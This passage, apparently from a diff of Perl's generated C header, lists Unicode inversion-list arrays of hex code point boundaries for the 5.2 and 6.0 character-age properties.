0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBFB, - 0xC01, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC34, - 0xC35, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5A, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC78, - 0xC80, - 0xC82, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD02, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD29, - 0xD2A, - 0xD3A, - 0xD3D, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4E, - 0xD57, - 0xD58, - 0xD60, - 0xD64, - 0xD66, - 0xD76, - 0xD79, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEDE, - 0xF00, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF8C, - 0xF90, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCE, - 0xFD5, - 0x1000, - 0x109A, - 0x109E, - 0x10C6, - 0x10D0, - 0x10FD, - 0x1100, - 0x115A, - 0x115F, - 0x11A3, - 0x11A8, - 0x11FA, - 0x1200, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135F, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F5, - 0x1401, - 0x1677, - 0x1680, - 0x169D, - 0x16A0, - 0x16F1, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x1900, - 0x191D, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AA, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DA, - 0x19DE, - 0x1A1C, - 0x1A1E, - 0x1A20, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B7D, - 0x1B80, - 0x1BAB, - 0x1BAE, - 0x1BBA, - 0x1C00, - 0x1C38, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C80, - 0x1D00, - 0x1DE7, - 0x1DFE, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x2065, - 0x206A, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x2095, - 0x20A0, - 0x20B6, - 0x20D0, - 0x20F1, - 0x2100, - 0x2150, - 0x2153, - 0x2189, - 0x2190, - 0x23E8, - 0x2400, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x269E, - 0x26A0, - 0x26BD, - 0x26C0, - 0x26C4, - 0x2701, - 0x2705, - 0x2706, - 0x270A, - 0x270C, - 0x2728, - 0x2729, - 0x274C, - 0x274D, - 0x274E, - 0x274F, - 0x2753, - 0x2756, - 0x2757, - 0x2758, - 0x275F, - 0x2761, - 0x2795, - 0x2798, - 0x27B0, - 0x27B1, - 0x27BF, - 0x27C0, - 0x27CB, - 0x27CC, - 0x27CD, - 0x27D0, - 0x2B4D, - 0x2B50, - 0x2B55, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2C70, - 0x2C71, - 0x2C7E, - 0x2C80, - 0x2CEB, - 0x2CF9, - 0x2D26, - 0x2D30, - 0x2D66, - 0x2D6F, - 0x2D70, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E31, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312E, - 0x3131, - 0x318F, - 0x3190, - 0x31B8, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x3244, - 0x3250, - 0x32FF, - 0x3300, - 0x4DB6, - 0x4DC0, - 0x9FC4, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA500, - 0xA62C, - 0xA640, - 0xA660, - 0xA662, - 0xA674, - 0xA67C, - 0xA698, - 0xA700, - 0xA78D, - 0xA7FB, - 0xA82C, - 0xA840, - 0xA878, - 0xA880, - 0xA8C5, - 0xA8CE, - 0xA8DA, - 0xA900, - 0xA954, - 0xA95F, - 0xA960, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAA60, - 0xAC00, - 0xD7A4, - 0xD800, - 0xFA2E, - 0xFA30, - 0xFA6B, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDD0, - 0xFDFE, - 0xFE00, - 0xFE1A, - 0xFE20, - 0xFE27, - 0xFE30, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018B, - 0x10190, - 0x1019C, - 0x101D0, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x1031F, - 0x10320, - 0x10324, - 0x10330, - 0x1034B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10840, - 0x10900, - 0x1091A, - 0x1091F, - 0x1093A, - 0x1093F, - 0x10940, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, - 0x12000, - 0x1236F, - 0x12400, - 0x12463, - 0x12470, - 0x12474, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D1DE, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1FFFE, - 0x2A6D7, - 0x2F800, - 0x2FA1E, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0x40000, - 0x4FFFE, - 0x50000, - 0x5FFFE, - 0x60000, - 0x6FFFE, - 0x70000, - 0x7FFFE, - 0x80000, - 0x8FFFE, - 0x90000, - 0x9FFFE, - 0xA0000, - 0xAFFFE, - 0xB0000, - 0xBFFFE, - 0xC0000, - 0xCFFFE, - 0xD0000, - 0xDFFFE, - 0xE0000, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0, - 0xEFFFE, - 0x110000 -}; - -static const UV PL_IN__5_DOT_2_invlist[] = { /* for all charsets */ - 990, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x378, - 0x37A, - 0x37F, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x526, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x591, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x600, - 0x604, - 0x606, - 0x61C, - 0x61E, - 0x620, - 0x621, - 0x65F, - 0x660, - 0x70E, - 0x70F, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7FB, - 0x800, - 0x82E, - 0x830, - 0x83F, - 0x900, - 0x93A, - 0x93C, - 0x94F, - 0x950, - 0x956, - 0x958, - 0x973, - 0x979, - 0x980, - 0x981, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FC, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF1, - 0xAF2, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB72, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBFB, - 0xC01, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC34, - 0xC35, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5A, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC78, - 0xC80, - 0xC82, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD02, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD29, - 0xD2A, - 0xD3A, - 0xD3D, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4E, - 0xD57, - 0xD58, - 0xD60, - 0xD64, - 0xD66, - 0xD76, - 0xD79, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEDE, - 0xF00, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF8C, - 0xF90, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCE, - 0xFD9, - 0x1000, - 0x10C6, - 0x10D0, - 0x10FD, - 0x1100, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135F, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F5, - 0x1400, - 0x169D, - 0x16A0, - 0x16F1, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191D, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x1A1C, - 0x1A1E, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B7D, - 0x1B80, - 0x1BAB, - 0x1BAE, - 0x1BBA, - 0x1C00, - 0x1C38, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C80, - 0x1CD0, - 0x1CF3, - 0x1D00, - 0x1DE7, - 0x1DFD, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x2065, - 0x206A, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x2095, - 0x20A0, - 0x20B9, - 0x20D0, - 0x20F1, - 0x2100, - 0x218A, - 0x2190, - 0x23E9, - 0x2400, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x26CE, - 0x26CF, - 0x26E2, - 0x26E3, - 0x26E4, - 0x26E8, - 0x2700, - 0x2701, - 0x2705, - 0x2706, - 0x270A, - 0x270C, - 0x2728, - 0x2729, - 0x274C, - 0x274D, - 0x274E, - 0x274F, - 0x2753, - 0x2756, - 0x275F, - 0x2761, - 0x2795, - 0x2798, - 0x27B0, - 0x27B1, - 0x27BF, - 0x27C0, - 0x27CB, - 0x27CC, - 0x27CD, - 0x27D0, - 0x2B4D, - 0x2B50, - 0x2B5A, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CF2, - 0x2CF9, - 0x2D26, - 0x2D30, - 0x2D66, - 0x2D6F, - 0x2D70, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E32, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312E, - 0x3131, - 0x318F, - 0x3190, - 0x31B8, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x32FF, - 0x3300, - 0x4DB6, - 0x4DC0, - 0x9FCC, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4D0, - 0xA62C, - 0xA640, - 0xA660, - 0xA662, - 0xA674, - 0xA67C, - 0xA698, - 0xA6A0, - 0xA6F8, - 0xA700, - 0xA78D, - 0xA7FB, - 0xA82C, - 0xA830, - 0xA83A, - 0xA840, - 0xA878, - 0xA880, - 0xA8C5, - 0xA8CE, - 0xA8DA, - 0xA8E0, - 0xA8FC, - 0xA900, - 0xA954, - 0xA95F, - 0xA97D, - 0xA980, - 0xA9CE, - 0xA9CF, - 0xA9DA, - 0xA9DE, - 0xA9E0, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAA7C, - 0xAA80, - 0xAAC3, - 0xAADB, - 0xAAE0, - 0xABC0, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xD800, - 0xFA2E, - 0xFA30, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDD0, - 0xFDFE, - 0xFE00, - 0xFE1A, - 0xFE20, - 0xFE27, - 0xFE30, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018B, - 0x10190, - 0x1019C, - 0x101D0, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x1031F, - 0x10320, - 0x10324, - 0x10330, - 0x1034B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10857, - 0x10860, - 0x10900, - 0x1091C, - 0x1091F, - 0x1093A, - 0x1093F, - 0x10940, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, - 0x10A60, - 0x10A80, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B80, - 0x10C00, - 0x10C49, - 0x10E60, - 0x10E7F, - 0x11080, - 0x110C2, - 0x12000, - 0x1236F, - 0x12400, - 0x12463, - 0x12470, - 0x12474, - 0x13000, - 0x1342F, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D1DE, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12F, - 0x1F131, - 0x1F132, - 0x1F13D, - 0x1F13E, - 0x1F13F, - 0x1F140, - 0x1F142, - 0x1F143, - 0x1F146, - 0x1F147, - 0x1F14A, - 0x1F14F, - 0x1F157, - 0x1F158, - 0x1F15F, - 0x1F160, - 0x1F179, - 0x1F17A, - 0x1F17B, - 0x1F17D, - 0x1F17F, - 0x1F180, - 0x1F18A, - 0x1F18E, - 0x1F190, - 0x1F191, - 0x1F200, - 0x1F201, - 0x1F210, - 0x1F232, - 0x1F240, - 0x1F249, - 0x1FFFE, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2F800, - 0x2FA1E, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0x40000, - 0x4FFFE, - 0x50000, - 0x5FFFE, - 0x60000, - 0x6FFFE, - 0x70000, - 0x7FFFE, - 0x80000, - 0x8FFFE, - 0x90000, - 0x9FFFE, - 0xA0000, - 0xAFFFE, - 0xB0000, - 0xBFFFE, - 0xC0000, - 0xCFFFE, - 0xD0000, - 0xDFFFE, - 0xE0000, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0, - 0xEFFFE, - 0x110000 -}; - -static const UV PL_IN__6_invlist[] = { /* for all charsets */ - 1022, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x378, - 0x37A, - 0x37F, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x528, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x591, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x600, - 0x604, - 0x606, - 0x61C, - 0x61E, - 0x70E, - 0x70F, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7FB, - 0x800, - 0x82E, - 0x830, - 0x83F, - 0x840, - 0x85C, - 0x85E, - 0x85F, - 0x900, - 0x978, - 0x979, - 0x980, - 0x981, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FC, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF1, - 0xAF2, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB78, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 